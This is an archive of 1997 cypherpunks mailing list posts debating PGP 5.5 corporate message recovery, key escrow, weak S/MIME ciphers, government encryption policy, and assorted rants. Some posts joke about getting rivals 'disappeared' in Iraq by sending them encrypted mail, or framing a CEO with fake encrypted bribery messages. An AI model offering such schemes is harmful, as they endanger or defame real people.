    Owner:            Vrije Universiteit, Brussels, Belgium
    Operator:         Peter Stuer
    More information: http://dinf.vub.ac.be/bovine.html/

MEDIA CONTACTS:
    David McNett, Voice: (205) 458-8208, Fax: (205) 458-8206
    nugget@distributed.net

ALTERNATE:
    Adam L. Beberg, (708) 396-9532, beberg@distributed.net

--Brian Bechtel, blob@ricochet.net


Vinnie Moscaritolo
http://www.vmeng.com/vinnie/
Fingerprint: 3F903472C3AF622D5D918D9BD8B100090B3EF042

     "You can get a lot more with a smile and a gun
     then a smile, alone."
         - Al Capone

-- 
Robert Guerra - PGP public key available on PGP key servers
Email-> mailto:az096@freenet.toronto.on.ca
Home Page-> http://www.geocities.com/CapitolHill/3378





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 24 Oct 1997 00:56:49 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Use crypto, face a death squad
In-Reply-To: <87761312106967@cs26.cs.auckland.ac.nz>
Message-ID: <v03102800b0752e1db7cd@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:25 PM -0700 10/23/97, Peter Gutmann wrote:
>There have been various rumours and comments over the past few years that the
>use of crypto in certain countries (Syria, Iraq, possibly China) is very
>dangerous for the end user, but very little actual evidence to substantiate
>this.  About a week ago I got some evidence (well, something better than the
>usual rumours) on the situation with using crypto in Iraq which people might
>find interesting.
...
>   He can't remember the exact details any more, but the implication was
>that any encrypted messages sent to them would result in them quietly
>disappearing.

Sounds like an easy way to get rid of business competitors, enemies, etc.
Just send them an encrypted message. If paranoid, use a remailer.

As soon as some of those Islamic fundamentalists get on the Net, look out!

By the way, when PGP Snoopware becomes more widespread, and companies start
bouncing e-mail messages not properly encrypted to the Security
Department's CMR key, I plan to start lobbing encrypted messages to random
employees, marked "URGENT."

Be interesting to then send them followups, "But didn't you get the message
I marked "URGENT" for you? Well, it's too late now...."

Monkeywrenching Snoopware is going to be _fun_.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 24 Oct 1997 01:01:42 +0800
To: "William H. Geiger III" <cypherpunks@cyberpass.net
Subject: Re: What RSA & Netscape have to offer
In-Reply-To: <199710230817.EAA21914@users.invweb.net>
Message-ID: <v03102801b07530cf5a1e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:19 AM -0700 10/23/97, William H. Geiger III wrote:

>While the list is busy knocking PGP for not doing the "right thing" or
>being the "first ones to blink" I though I would share with the list what
>some of the "big boys" are doing for the spread of "Strong Crypto to the
>Masses". Below is from the most current S/MIME draft
>"draft-dusse-smime-msg-05" dated 19-Oct-1997:
...
>I think that when taking pot-shots at PGP, Inc. and Phil Zimmerman one
>should look at what the alternatives are and who are really are friends
>here. IMNSHO companies like RSA, Netscape, Microsoft, Verisign, et al, who
>would sell us all out if it improved their bottom lines do not qualify.

The consistent theme of the Cyphepunks contributors, modulo the noise and
insults and general fun over the past 5 years, has been to call a spade a
spade.

That is, regardless of what the alternatives may be, we call them as we see
them.

Weaknesses are weaknesses. Science dictates what we say.

"But Bad Option B is even worse than Bad Option A, so we should support Bad
Option A" is not very compelling to most of us.

That other companies may also be preparting GAK or GMR or deliberately
weakened ciphers is hardly news. Big Brother is leaning on companies in
many ways, ranging from threats of lawsuits, to antitrust actions, to
denial of export permits, to dangling lucrative contracts.

And the alternatives, for us as users, are not necessarily PGP for Business
5.5 vs. Netscape for Security Departments vs. Internet Explorer for
Fascists. No, the alternatives are to continue using ciphers with strong
cores and long keys.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 24 Oct 1997 01:17:07 +0800
To: mark@unicorn.com
Subject: Re: PGP 5.5 CMR/GAK: a possible solution
In-Reply-To: <877615176.6781.193.133.230.33@unicorn.com>
Message-ID: <v03102802b07532e9d880@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:59 AM -0700 10/23/97, mark@unicorn.com wrote:
>tcmay@got.net wrote:
>
>> Our mileages apparently vary. When _I_ send a message to, say, Jon Callas
>> at PGP, Inc., it is to Jon Callas, not to others. It might be a job offer,
>> it might be an invitationf for him to help monkeywrench CMR, it might be a
>> stock tip, it might be a comment about a conversation we had a party, it
>> might be a lot of things.
>
>Hmm, as usual, you make a good point. The uses I was thinking of were the
>kind of uses that people have suggested as reasons for CMR; emailing orders,
>etc to companies. Today I rarely do that because telephoning companies is
>much easier, and in the future I'd expect to be sending most of them over
>the Web rather than by email. I presume these *are* the kind of uses that
>PGP Inc are expecting, since their system seems to have no other value
>except as snoopware.

And things like purchase orders, contract negotiations, etc., are best
handled by storing in plaintext. Communications security is just that:
_communications_ security, not storage security.

These sorts of items--purchase orders, etc.--will likely exist on employee
machines in plaintext. Or encrypted to the storage key the employee is
using.

(Will PGP for Business deal with this reality in any meaningful way? This
is the real "disaster planning" scenario, that Joe Employee's 4 GB hard
drive is either fully encrypted, or is filled with encrypted files. With
the increasing use of "open landscaping" in offices, machine security in
cubicles is probably  more important than communications security. At Intel
I used to find my machines had sometimes been played with by the nightime
shift....and I'd find sandwich wrappers and Coke cans in my trashcan, and
crumbs, indicating that some swing or graveyard shift worker had used my
office as his own little lunchroom. Were I still working, I'd certainly be
encrypting my files against casual snooping. Or even industrial espionage
snooping. And I wouldn't be using my communications key!)


>> If I was sending it to "Jon's coworkers in Department Z," I probably either
>> wouldn't encrypt it at all, or would (if the option existed) encrypt to
>> some departmental or group key.
>
>Yep, which is basically what I was suggesting. The user chooses which key
>to use based on their perception of the sensitivity of the message, not
>the enforced company policy. If it's confidential, it's confidential; if
>the company think I'm up to no good they can come around and force me to
>decrypt a particular message, or sack me if I refuse. Their call.

I agree, but this doesn't seem to be the way PGP 5.5 and its Policy
Enforcer will work. Users (senders from outside, like me) will not have the
options you describe. My private message to Jon Callas will not get through
to him unless I also encrypt to the Security Department's CMR key...and
they may have some interesting questions for him about the content of my
message!

(Yes, as always, companies have the right to demand pretty much anything
they please. No debate there. What we're arguing is the wisdom, on multiple
fronts, of PGP, Inc. building in Big Brother like this.)


>Ditto, at least if it's PGP's current 'mandatory voluntary' snoopware
>design. I won't be running any version of PGP which includes this
>'feature' in its current form; I would also suggest that we boycott any
>scanning and proofreading efforts for future versions of PGP which include
>this code, or remove it from the source before release. If PGP's commercial
>customers lose business as a result, that's their choice.

I think a boycott of PGP's products is a distinct possibility, from what
I'm hearing.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott L. Haire" <trader@airmail.net>
Date: Fri, 24 Oct 1997 00:05:15 +0800
To: cypherpunks@toad.com
Subject: (no subject)
Message-ID: <344F89D6.7125@airmail.net>
MIME-Version: 1.0
Content-Type: text/plain



Whats the deal on checking out DL info. on the web?  I'd like to know
what available info is on the web concerning my DL.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Thu, 23 Oct 1997 23:06:50 +0800
To: cypherpunks@cyberpass.net
Subject: Cyberterrorism report according to the NYT
Message-ID: <CMM.0.90.4.877618095.ariel@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain



Day before yesterday I actually saw Ian Goldberg and David Wagner
on CNN Headline news, second billing after some auto fuel cell thing,
talking about weak encryption etc. in the context of the White House
report on cyberterrorism. 
In any case here's the NYT take on it...

Ariel Glenn
ariel@columbia.edu

-----
[beginning irrelevance deleted]

The use of encryption by United States residents has been a hotly
debated security issue in the White House, in Congress and
on the Internet. Louis J. Freeh, the director of the Federal
Bureau of Investigation, has testified repeatedly that allowing
private citizens to use unbreakable encryption would enable criminals to
mask their activities unless the police are allowed keys to all
scrambled communications. 

Even so, the commission's report appears to suggest that
widespread use of encryption is the nation's first line of defense
against attacks by terrorists or spies who want to steal information
or eavesdrop. Sophisticated systems like digital signatures can
prevent terrorists from shutting down networks, crashing
individual computers or erasing databases. 

Several people familiar with the commission's work, all of whom
asked that they not be named, said that the panel had come under
intense pressure to support the FBI's plan to build in trap doors
known as "key recovery systems" into encryption schemes to
make scrambled data easily accessible to the police. 

In the end, the commission did endorse key recovery, but
only because such systems would
allow people and companies to recover data if their own
keys were lost. It stopped short of
recommending easy access for law enforcement. 

In the interview on Tuesday, Marsh avoided commenting
directly on the FBI's assertion that
it needs "instant access" to all communications in the
nation, saying only that the commission
 did not "probe into that in great depth." 

"Exactly how that is done," Marsh said of key recovery systems, "the
commission is not expert at that." 

Some security analysts have argued that a widespread
key recovery system could turn out to be a major
vulnerability because if it was ever infiltrated or
compromised, it would offer cyber-terrorists a
database full of keys that could unlock significant
portions of communications and computer systems in
the United States. 

In addition to terrorists, any insider could easily reveal
secret or proprietary data, either accidentally or
maliciously. In recent months, for example, the FBI has
been criticized for releasing the background files of
Republican leaders to the White House, apparently because of a
clerical error.

[more irrelevance deleted]

Peter Neumann, author of Computer-Related Risks, said of the report: 
"I think the Commission has made a very important first step toward 
recognizing the vulnerabilities, threats, and risks." 

Even so, Neumann said: "They could have gone much further in
addressing the risks of the inherently weak computer-communication 
infrastructures that underlie our critical infrastructures. Also, they
almost completely ducked the importance of nonsubvertible
cryptography, and issues relating to the intrinsic risks of
key-recovery schemes. But the real question is: Where does the
government go from here?" 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 24 Oct 1997 00:30:45 +0800
To: cypherpunks@einstein.ssz.com
Subject: What RSA & Netscape have to offer
Message-ID: <199710231619.MAA26362@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Hi,

While the list is busy knocking PGP for not doing the "right thing" or
being the "first ones to blink" I though I would share with the list what
some of the "big boys" are doing for the spread of "Strong Crypto to the
Masses". Below is from the most current S/MIME draft
"draft-dusse-smime-msg-05" dated 19-Oct-1997:

2.6 ContentEncryptionAlgorithmIdentifier

Receiving agents MUST support decryption using the RC2 [RC2] or a
compatible algorithm at a key size of 40 bits, hereinafter called
"RC2/40". Receiving agents SHOULD support decryption using DES EDE3 CBC,
hereinafter called "tripleDES" [3DES] [DES].

Sending agents SHOULD support encryption with RC2/40 and tripleDES.

I think that when taking pot-shots at PGP, Inc. and Phil Zimmerman one
should look at what the alternatives are and who are really are friends
here. IMNSHO companies like RSA, Netscape, Microsoft, Verisign, et al, who
would sell us all out if it improved their bottom lines do not qualify.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNE8Iqo9Co1n+aLhhAQGWswP+MnvOCL1EoURWpEPt23I/UIuRWBovby8d
AxZS3N8/exnI2M3kDCC2mTUWmvaKdsUnwErnXCQ9nQTDa9B+2VUBlijtkC+nsTV8
Vuv484AU51havdyttE87YMDXx8LSkdWnGXLs8TpjrRXiDZlxPJWIif3haK1hC5kg
I3VmdwaZc/4=
=7Fan
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 24 Oct 1997 00:57:55 +0800
To: Harish Pillay <harish@ganymede.contact.com.sg>
Subject: Re: Singaporean control freaks & CMR (Re: puff pieces vs tough crypto  issues)
In-Reply-To: <199710231543.XAA02822@ganymede.contact.com.sg>
Message-ID: <199710231649.MAA26636@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199710231543.XAA02822@ganymede.contact.com.sg>, on 10/23/97 
   at 11:43 PM, Harish Pillay <harish@ganymede.contact.com.sg> said:

>Hi.  For the sake of sanity and completeness, the following has to be
>corrected.

>> Declan McCullagh <declan@well.com> writes:
>> > The relevance? Another example of Singapore's loony politics. Strict social
>> > controls and relative economic freedom. I find it fascinating in light of
>> > Net-filtering and other attempts at restricting information flow; if you
>> > don't, well, you can always delete it. :)
>> 
>> The net-filtering and social control aspects of Singapore are very
>> interesting.  Seems that somewhere like Singapore might be an earlier
>> adopter of mandatory GAK -- social ills have hugely disproportionate
>> treatment over there.  I hear (and our Singaporean contributer
>> confirms) that chewing gum is illegal, jay walking too.  (Hey you have
>> the jay walking laws in the US too don't you?)  (I missed the social
>> control aspect of the vote for kewlest public toilet story).

>Chewing gum per se is not illegal.  I just cannot buy them from any store
>in Singapore.  I can chew to my heart's content.  I can go up north to 
>Malaysia, buy a whole month's supply of gum (name your flavour) and bring
>it back into Singapore.  

>So, what is moronically illegal is that I cannot sell that pack of gum.

Signapore is a prime example of "mirco management" at it's worst. Whenever
such management is attempted either in the public or private sector they
fail. It should be intresting to see how long Singapore can keep it up.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNE+Ar49Co1n+aLhhAQFkGgP9EBgH35RfnpFLuWUnZnLESCeShTmAiOMG
hClqCT7hKdjjqnfxAaPU5DlLKcTsgYlssMXiv8q0T2C+g7vooI+QAHvEowArY4Vo
UxjaQgcsCF7gbVccJwTzBzaGBushiMJx1bUVsdFpWn/H/LfOaPbKSaBj4uFCV71q
zOuU1jIqbZg=
=2hOc
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 24 Oct 1997 02:32:33 +0800
To: Vincent Cate <cypherpunks@cyberpass.net
Subject: Re: Laws recognizing digital signatures
In-Reply-To: <Pine.LNX.3.95.971023091411.31102B-100000@online.offshore.com.ai>
Message-ID: <v03110708b075244e5cb5@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:24 am -0400 on 10/23/97, Vincent Cate wrote:

> I mentioned that there were a few other jurisdictions that had passed some
> laws like this and they would like me to try to pin down which and, if
> possible, get copies of the laws.
>
> I remember some talk about this on cypherpunks, so I am hoping someone
> here can tell me which places (think there was some state) have such laws,
> and if possible tell me where I can get a copy.

Funny you should ask that. There's a bunch of lawyerly traffic on
DIGSIG@VM.TEMPLE.EDU, run off of LISTSERV@VM.TEMPLE.EDU. I've sent you the
welcome message under separate cover. Of course, if you'd been subscribing
to e$pam, you'd know all of this. :-). (Of course, if I could just get some
keyword searchable archives of e$pam up and running, you wouldn't have to
subscribe to a mail-firehose like e$pam ;-)).

Take a look at:

http://www.smu.edu/~jwinn/esig.htm

Jane Winn is god. (this week anyway)

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 24 Oct 1997 02:38:35 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: (Fwd from f-c) Note from PGP employee on MRK
In-Reply-To: <v03007808b074685bfedd@[204.254.21.122]>
Message-ID: <v0311070cb0752644d2ae@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:35 pm -0400 on 10/22/97, Declan McCullagh wrote:


> >A friend of mine by the name of Jason Bobier <jason@pgp.com> happens
> >to work at PGP, Inc.  I'll preface his comments by pointing out that
> >I'm sure he doesn't speak for the company in any way.
<snip>
> >> Sometimes I really feel like screaming at these people. _All_ of
> >> the developers at PGP are personal privacy zealots and no one
> >> likes the idea of the MRK.

Kind of like aeronautical engineers are aviation zelots?

The ganglia twitch...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Arturo Grapa Ysunza <agrapa@banamex.com>
Date: Fri, 24 Oct 1997 01:24:01 +0800
To: "'Lizard' <cypherpunks@toad.com>
Subject: RE: Bill Gates, the Bully Savior
Message-ID: <c=MX%a=_%p=BANACCI%l=MEX3976BCAOP2-971023171124Z-9955@mex3980jarop1.BANAMEX.COM>
MIME-Version: 1.0
Content-Type: text/plain




Almost. The government should regulate MS for anti-trust reasons. As I
mentioned "If MS wins anti-trust litigation then so be it".


>----------
>Desde: 	Lizard[SMTP:lizard@mrlizard.com]
>Enviado el: 	Jueves 23 de Octubre de 1997 11:38 AM
>Para: 	Arturo Grapa Ysunza <cypherpunks@toad.com
>Cc: 	'Jennifer S. Granick'
>Asunto: 	RE: Bill Gates, the Bully Savior
>
>At 07:20 PM 10/22/97 -0500, Arturo Grapa Ysunza wrote:
>
>>MS can´t be blamed for the incompetence of the rest of the industry. If
>>MS wins anti-trust litigation then so be it but someone has to keep them
>>in check. We elect the people who appoint others to review these
>>matters. 
>
>Lemme see if I've got this straight.
>
>The rest of the industry, due to stupidity, lethargy, or other
>incompetance, can't compete succesfully with Microsoft.
>
>Therefore, the government must regulate Microsoft, in order to give the
>other companies a fair chance.
>
>Uh-HUH.
>
>Who is John Galt?
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Fri, 24 Oct 1997 01:24:50 +0800
To: cypherpunks@cyberpass.net
Subject: [RANT] Why America Can't Compete
Message-ID: <199710231711.MAA05853@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



I've just uncovered a massive plot to destroy our nation's
competitiveness and inculcate its young people in the
collectivist mentality.
 
The tool?  Youth sports!
 
This morning's AP wire reports that two football coaches are
suing a youth football league after being banned for life because
their 11 and 12 year old players won by too large a point spread.
 
Apparently, and I find this truly shocking, it is a common
practice in youth sports today to have a rule limiting the number
of points by which a game may be won, with horrendous sanctions
for violating it.  Winning by more than that, it is argued, is
"demoralizing" to the other team, and (Gasp!) UNETHICAL!
 
Once the designated point spread is reached, coaches must order
their players to deliberately lose, play badly, and act retarded.
 
I became aware of this idiotic practice after I mentioned the AP
article to several people, and rather than throwing up their arms
in horror, they volunteered that their own local teams had such
rules as well.
 
It's time to check closely, to make sure such shenanigans are not
afoot in your town, polluting the entrepreneurial spirit of your
very own children.
 
Imagine if Ross Perot had played on such a team, or Bill Gates,
or Adolf Hitler?  The entire course of history might have been
changed.
 
-----
 
FRIENDSWOOD, Texas (AP) -- Two volunteer coaches are taking a
youth football league to court after they were banned for life
because their 11- and 12-year-old players couldn't resist playing
hard.
 
After the Sagemont Cowboys destroyed the Friendswood Chiefs 62-0
on Oct. 4, the Bay Area Football League banned twin brothers Roy
and Rene Aguilar -- whose team has dominated the league for
several years.
 
``They're saying that because we demoralized the other team and
that we are teaching the kids unethical practices that we're out
for life,'' Rene Aguilar, the team's assistant coach, said in
Wednesday's editions of The Galveston County Daily News.
 
The league has a rule that prohibits teams from winning by more
than 42 points. The Aguilars say they told the team to slow down
after building a 42-0 lead, but the players couldn't help scoring
again.
 
The Friendswood Chiefs, named after this Houston suburb, fumbled
the ball in their own end zone and Sagemont recovered to increase
its lead to 48-0. Rene Aguilar said the coaches tried to tell the
players not to recover the fumble.
 
``That's confusing to them,'' he said. ``One minute we're trying
to tell them to play hard, then we're telling them to lay down.''
 
Recovering that fumble, according to a league rule, meant a
one-game suspension for the head coach and a $100 fine for the
team.
 
Rene Aguilar said the Sagemont club president was at the game and
told the coaches to handle the situation however they saw fit.
 
``So we played the rest of the game because we already knew we
were going to be penalized,'' he said. The Cowboys went on to
score another 14 points.
 
League officials met two days later and gave the Aguilars a
lifetime ban. A judge granted the Aguilars a restraining order to
prevent the ban from taking effect, but the order expires Friday.
 
The Aguilars met with the league officials late Wednesday for
private mediation in an effort to avoid a court hearing Friday.
 
``We're not allowed to discuss what went on,'' Peggy Bittick, the
coaches' attorney, told The Associated Press late Wednesday.
``We're going full force to court.''
 
Calls to league officials were not returned.
 
Ms. Bittick said she watched a videotape of the game and it
appeared that Friendswood was not trying to recover the fumble.
 
``It looked like the other team just threw up their hands and
gave up.''

--  
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andrew Bromage <bromage@cs.mu.oz.au>
Date: Thu, 23 Oct 1997 12:25:26 +0800
To: tcmay@got.net (Tim May)
Subject: Re: World-wide GAK
In-Reply-To: <v03102804b07429a30732@[207.167.93.63]>
Message-ID: <199710230249.MAA24007@mundook.cs.mu.OZ.AU>
MIME-Version: 1.0
Content-Type: text/plain



G'day all.

Tim May wrote:

> Nor is it by any stretch the first non-US GAK measures proposed. Cf. the
> Trusted Third Parties plan in the U.K., the Australian developments, and
> various measures in the Phillipines, Singapore, Germany, Sweden, and, of
> course, the People's Republic of China.

Just in case anyone is interested in the Australian developments, the
EFA (Australian counterpart to the EFF) has published the Australian
government's "Review of policy relating to encryption technologies",
usually referred to as the Walsh Report.  It's available online:

	http://www.efa.org.au/Issues/Crypto/Walsh/

BTW, the author of this report, Gerard Walsh, is a former deputy
director-general of ASIO, the Australian Security and Intelligence
Organisation.  They're the ones responsible for national security.
Other organisations which you should know about before reading are:

	- Australian Federal Police (AFP)
	- National Crime Authority (NCA)
	- Australian Transaction Reports and Analysis Centre
	  (AUSTRAC)
	- Commonwealth Law Enforcement Board (CLEB)
	- Defense Signals Directorate (DSD)

Now that I've set the NSA line eater buzzing with excitement, we now
return you to your scheduled technical discussion.

Cheers,
Andrew Bromage





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 24 Oct 1997 18:31:36 +0800
To: Eric Cordian <emc@wire.insync.net>
Subject: Re: [RANT] Why America Can't Compete
In-Reply-To: <199710231711.MAA05853@wire.insync.net>
Message-ID: <199710241022.GAA04419@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199710231711.MAA05853@wire.insync.net>, on 10/23/97 
   at 12:11 PM, Eric Cordian <emc@wire.insync.net> said:

>I've just uncovered a massive plot to destroy our nation's
>competitiveness and inculcate its young people in the
>collectivist mentality.
> 
>The tool?  Youth sports!
> 
>This morning's AP wire reports that two football coaches are suing a
>youth football league after being banned for life because their 11 and 12
>year old players won by too large a point spread.
> 
>Apparently, and I find this truly shocking, it is a common
>practice in youth sports today to have a rule limiting the number of
>points by which a game may be won, with horrendous sanctions for
>violating it.  Winning by more than that, it is argued, is "demoralizing"
>to the other team, and (Gasp!) UNETHICAL!
> 
>Once the designated point spread is reached, coaches must order their
>players to deliberately lose, play badly, and act retarded.
> 
>I became aware of this idiotic practice after I mentioned the AP article
>to several people, and rather than throwing up their arms in horror, they
>volunteered that their own local teams had such rules as well.
> 
>It's time to check closely, to make sure such shenanigans are not afoot
>in your town, polluting the entrepreneurial spirit of your very own
>children.
> 
>Imagine if Ross Perot had played on such a team, or Bill Gates, or Adolf
>Hitler?  The entire course of history might have been changed.

This is nothing new. It the same old socialist philosphy of "equality of
outcome". You see it everywhere in the country from Wefair, SS, EEO,
outcome based education, ... It is a discusting philosphy that rewards
incompentance and punishes achevment, the ultimate in "politics of envy".

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------



-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNFB3eo9Co1n+aLhhAQGoYgQAh21o1T1mG1u9F+vD8EZ2DYyj2op1qi7T
bj8yTbrd1QO4c0uo6FvfaNTbsErhkNnGCMUmUtTA3g1HqxbfCkCvwrKnX/Wtq1O2
VX2ua/DkPNmZ7OY0nY9BogWFRQBte5oPV1QLk+teyQN3crfdKatJ5VjGgADheoXN
3qfp5hs4fqY=
=8oCL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Fri, 24 Oct 1997 02:34:57 +0800
To: "'cypherpunks'" <cypherpunks@cyberpass.net>
Subject: PGP and CMR: Just a Few Lines...
Message-ID: <2328C77FF9F2D011AE970000F84104A74933CE@indyexch_fddi.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



A point that I still feel gets lost by some participants in this issue
is that the changes to PGP for CMR/GMR are very minor -- all that needs
to occur is to get the CMR keys from wherever they are stored, and then
add them as additional recipients.  The political value of persuading
PGP to adopt CDR >> actual technical value, as the change to CMR should
involve < 10 lines of code (said, of course, without actually inspecting
the code :).
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is
'Don't Tread on Me'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Fri, 24 Oct 1997 01:30:48 +0800
To: ravage@ssz.com
Subject: Re: ADMIN: lost messages (fwd)
In-Reply-To: <199710231312.IAA17874@einstein.ssz.com>
Message-ID: <199710231721.NAA04296@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate writes:

> Yes, there are occassional breakdowns in the communications between the
> list remailers. The reason that there are several of them is if one goes
> down for more than a few minutes the whole lists doesn't go down which would
> occur if we were still on a single remailer.

I understand this rationale.  But that doesn't explain what's 
happening to the missing messages.  Is there a flaw in the 
distributor/reflector duplicate-filtering algorithms?  Or is this
a problem of certain messages being introduced into a node whose
product does not get propagated to all subscribers of all the other
nodes?  Or are you saying that if ssz (say) goes down for a few
minutes it forgets about any mail it has queued up for its
counterparts at cyberpass and algebra (et al.)?


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Corporate Spy <cs@dev.null>
Date: Fri, 24 Oct 1997 06:11:55 +0800
To: T.G.Griffiths@exeter.ac.uk
Subject: Use crypto, face the Stockholders / Re: Use crypto, face a death squad
In-Reply-To: <7c7e99dd47%Tim@tim01.ex.ac.uk>
Message-ID: <344FA63D.3CFB@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Tim Griffiths wrote:
> In message <87761312106967@cs26.cs.auckland.ac.nz> Peter wrote:
> > There have been various rumours and comments over the past few years that
> > the
> > use of crypto in certain countries (Syria, Iraq, possibly China) is very
> > dangerous for the end user, but very little actual evidence to substantiate
> > this.
> > [snip, with reference to Iraq]
> >  He can't remember the exact details any more, but the implication was
> > that any encrypted messages sent to them would result in them quietly
> > dissapearing.
> 
> So a possible consequence of someone from Iraq being obnoxious on a
> mailing list, to someone in the know, could be several PGP-encrypted
> mails dumped in their inbox... A little extreme, for us gentles, but the
> threat should be effective.

 If email not encrypted to a Korrect Kompany Key is filtered 'from'
the recipient's mbox, I imagine it would also be filtered 'to' another
mbox, for signs of suspicious activity.
 e.g. - an encrypted message to the CEO of the company from 
  "Corporate_Spy@your_competitor.com" with a subject heading such as,
  "Information received--money deposited to your account."

  Of course, if the message enclosed was a bunch of garbage, encrypted
to the CEO's private key, and then slightly corrupted, then that would
make it all the more suspicious, interesting, wouldn't it?
